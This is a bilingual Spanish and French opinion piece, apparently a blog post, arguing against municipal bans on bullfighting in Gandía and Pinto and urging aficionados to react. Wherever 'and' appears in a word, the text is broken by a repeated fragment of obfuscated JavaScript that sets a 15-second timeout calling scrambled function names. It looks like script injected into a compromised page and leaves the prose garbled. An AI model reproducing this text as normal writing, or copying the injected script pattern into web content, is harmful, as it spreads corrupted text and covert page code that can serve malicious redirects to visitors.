¿REACCIONAMOS O NO?NOUS REAGISSONS OU PAS?

Comienza el bombardeo. Se veía venir y ya caen los primeros obuses. Las ciudades damnificadas han sido Gandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andía, en Valencia, y Pinto, en Madrid. En las dos, los nuevos Ayuntamientos salidos de las pasadas elecciones municipales han movido ficha para impedir la celebración de festejos taurinos este año, con la intención de erradicarlos de sus municipios para siempre.

En Gandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andía, gobernada por uno de esos engendros tripartitos fuera de toda lógica política –excede a mi imaginación cómo puede hacerse factible gobernar entre un partido neoliberal como el PSOE, un pastiche de nacionalismo, modernidad y ecologismo como es la coalición Compromís y un partido conservador como es Ciudadanos–, la alcaldesa socialista Diana Morant comunicó al empresario Carlos Puertas la decisión de prohibir los toros este año en el pueblo y el deseo de rescindir el contrato que el Ayuntamiento tenía con él.

En Pinto, es Rafael Sánchez, alcalde de Ganemos quien se opone a que haya toros en su municipio, haciendo oídos sordos a la demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda de la plataforma Compromiso Social por la Tauromaquia. Arguye el edil que la supresión de las corridas no es un asunto económico, sino de cumplimiento de su programa electoral. No obstante, su papel de censor, de autoridad que ejerce la censura sobre una actividad legalmente establecida en todo el territorio español –pienso que la prohibición catalana es anticonstitucional–, concuerda muy poco con el código ético de su formación, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando postula situar a las personas como centro de su actividad política –¿se nos ha privado de la condición de personas a los aficionados a los toros?–, no discriminar a nadie –¿somos “nadie” los taurinos?, pues, de lo contrario, ¿por qué nos discriminan?–y arbitrar los mecanismos más convenientes  –referéndums, consultas populares o asambleas– para que los ciudadanos participen en la toma del mayor número de decisiones. Sin embargo, aquí no se ha hecho consulta alguna, sino que se han suprimido los toros de manera unilateral. De lo que se deduce que al alcalde de Ganemos, tan “celoso cumplidor” de su programa electoral, le trae al fresco el código ético de su formación cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando hay que aplicárselo a los ciudadanos que son aficionados a los toros.

En todo esto, hay algo que me viene martilleandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la mente desde que el anterior alcalde de Bildu decidió prohibir los toros en San Sebastián. ¿Tiene potestad un alcalde para hacer tal cosa? Si mañana entrara en cualquier ayuntamiento un equipo de gobierno que decidiera erradicar el fútbol de su municipio, ¿podría hacerlo legalmente?

Reconozco mi desconocimiento en materia legal como para responder la cuestión, pero, en cualquier caso, estimo que privar a una parte de los vecinos de poder asistir a un espectáculo totalmente legalizado y reglamentado con el visto bueno de las más altas instancias del Estado, excede o debería exceder las competencias de cualquier edil.

Si para hacerlo, se amparan en un posible vacío legal que haya al respecto, no sé qué esperamos para tratar de llenarlo. Aquí es donde deberían “mojarse”, entre otros, las comisiones de trabajo que salieron de la reunión de la Venta de Antequera a principios de temporada ¿Se acuerdan? Y si tal vacío legal no existe y estamos protegidos por la Constitución u otra ley de rango menor, tendríamos que disponer de un servicio jurídico especializado que llevara a los tribunales de justicia a todos aquellos que prevariquen en contra de los toros, para que el peso de la Ley caiga sobre ellos.

La Tauromaquia forma parte de nuestro patrimonio cultural; del patrimonio cultural del pueblo y no tiene color político ni nadie debería instrumentalizarla en beneficio de sus ideas o conveniencias políticas. Además, la Cultura en cualquiera de sus manifestaciones no se puede prohibir ni erradicar y es eso precisamente lo que están haciendo quienes se aprovechan de un cargo público para impedir el ejercicio de libertad que supone a cualquier ciudadano asistir a un espectáculo legal como el taurino. Sin embargo, la cosa está como está y peor que puede ponerse. Por ello pregunto: ¿reaccionamos de una vez o seguimos poniendo la cabeza para que continúen apaleándola?

Le bombardement a commencé. Cela se voyait venir et les premiers obus sont tombés. Les premières villes touchées ont éte Gandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andía, à Valence, et Pinto, à Madrid. Dans ces deux cités les nouveux responsables muncipaux issus des derniers élections se sont mobilisés pour empêcher des corridas dans leurs villages et les éradiquer par la suite définitivement.

A Gandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andía, gouverné par un de ces tripatouillages tripartites en dehors de toute logique politique -je suis incapable de comprendre comment on peut gouverner avec un parti neolibéral comme l'est le parti socialiste espagnol, un pastiche de nationalisme, modernité et écologie comme l'est la coalition Compromis, et un parti conservateur comme Ciudadanos, la nouvelle mairesse socialiste Diana Morant a communiqué à Carlos Puertas sa décision d'interdire les corridas cette année et de rompre le contrat qu'il avait avec la mairie.

A Pinto, c'est Rafael Sánchez, maire élu sous l'etiquette Ganemos qui s'oppose personnellement aux corridas, sourd aux demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes de la Plateforme du Compromis Social pour la Tauromachie. L'élu argumente que la suppression des corridas n'est pas une affaire économique mais que c'était une promesse de campagne. Cependant son ròle de censeur, d'autorité qui exerce la censure d'une activité légale sur l'ensemble du territoire espagnol -je pense que la prohibition catalane enfreint la Constitution- en correspond pas du tout avec le code étique vanté par sa formation, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ils postulent pour placer avant tout l'homme au centre de l'activité politique -a t'on privé les aficionados de leur condition de citoyens?-, ne discriminer personne – sommes-nous  “personne” les taurins, ou dans le cas contraire, pourquoi sommes-nous discriminés?- et d'arbitrer les mécanismes les plus utiles – référendums, consultations populaires, assemblées- pour que les citoyens paticipent à la prise de la plupart des décisions. Or ici il n'y a eu aucune consultation de faite, on a supprimé les corridas unilatéralement. D'où l'on peut déduire que le maire de Ganemos, si soucieux d'accomplir ses promesses électorales, se fiche du code étique de sa formation quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on l'applique aux aficionados à la corrida.

Dans cette affaire, il y a quelque chose qui m'interpelle depuis la désicion du maire précédent et nationaliste de Saint-Sébastien d'interdire les corridas. Un maire  at'il le pouvoir légal de faire une telle chose? Qu'arriverait-il si un maire du jour au lendemain décidait par exemple d'interdire les matchs de foot dans sa municipalité? En a t-il le droit?

Je réconnais avoir ma méconnaissance des textes pour répondre à une telle question mais en tout cas je pense qu'empêcher une partie des habitants d'assister à un spectacle absolument légal et réglementé avec l'accord des plus hautes autorités de l'Etat, n'est pas ou en devrait pas être du ressort de n'importe lequel de ces élus.

Si pour le faire, ils profitent d'un vide légal, je ne sais pas ce qu'on attend pour y remédier. C'est là où devrait intervenir, entre autres, les commissions de travail issues de la réunion de la Venta de Antequera en début de saison. Vous vous en souvenez? Et s'il n'existe pas ce vide légal et nous sommes protégés par la Constitution ou par une autre loi de rang mineur, nous devrions avoir un service juridique spécialisé pour présenter devant la justice tous ceux qui entravent le spectacle de la corrida et que la loi s'impose à eux.

La Tauromachie fait partie de notre patrimoine culturel, du patriomoine culturel du peuple, et aucune couleur politique ne devrait l'instrumentaliser. D'ailleurs la Culture, sous aucune de ses formes, en devrait être interdite ni éradiquée comme le prétendent ces élus pour empêcher les citoyens d'assister à un spectacle légal comme l'est la corrida. Cependant c'est une réalité et ça pourrait empirer. Voilà pourquoi je me demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande: allons-nous réagir ou allons-nous continuer à baisser la tête?

Les commentaires sont fermés.